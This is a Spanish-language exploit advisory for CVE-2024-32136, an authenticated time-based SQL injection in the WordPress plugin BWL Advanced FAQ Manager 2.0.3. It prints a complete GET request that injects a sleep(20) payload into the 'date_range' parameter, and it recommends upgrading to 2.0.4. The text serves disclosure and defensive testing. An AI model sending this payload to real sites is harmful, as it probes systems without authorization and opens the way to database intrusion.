
Exploit de prueba de concepto para CVE-2024-32136, una inyección SQL post-autenticada en BWL Advanced FAQ Manager 2.0.3, que demuestra la manipulación de bases de datos basada en tiempo a través del parámetro 'date_range'.
Título del exploit: BWL Advanced FAQ Manager 2.0.3 - Inyección SQL post-autenticación
Fecha: 14 abr 2024
Autor del exploit: Ivan Spiridonov (xbz0n)
Enlace del software: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
Versión: 2.0.3
Probado en: Ubuntu 20.04
CVE: CVE-2024-32136
La inyección SQL es un tipo de vulnerabilidad de seguridad que permite a un atacante interferir con las consultas a la base de datos de una aplicación. Por lo general, implica la inserción o "inyección" de una consulta SQL a través de los datos de entrada del cliente en la aplicación. Una explotación exitosa de inyección SQL puede leer datos confidenciales de la base de datos, modificar datos de la base de datos (Insertar/Actualizar/Eliminar), ejecutar operaciones administrativas en la base de datos (como apagar el DBMS), recuperar el contenido de un archivo presente en el sistema de archivos del DBMS y, en algunos casos, emitir comandos al sistema operativo.
La vulnerabilidad existe dentro del parámetro 'date_range' utilizado en la página 'bwl-advanced-faq-analytics' del plugin BWL Advanced FAQ Manager. Los atacantes autenticados pueden ejecutar comandos SQL arbitrarios dentro de la base de datos manipulando la entrada de este parámetro.
La siguiente solicitud GET demuestra la vulnerabilidad:
GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
Connection: close
Cookie: [Relevant Cookies]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Si la respuesta del servidor se retrasa aproximadamente 20 segundos, indica una explotación exitosa de la inyección SQL basada en tiempo, confirmando la vulnerabilidad.
Se recomienda a los usuarios de BWL Advanced FAQ Manager v2.0.3 actualizar el plugin a la versión corregida v2.0.4.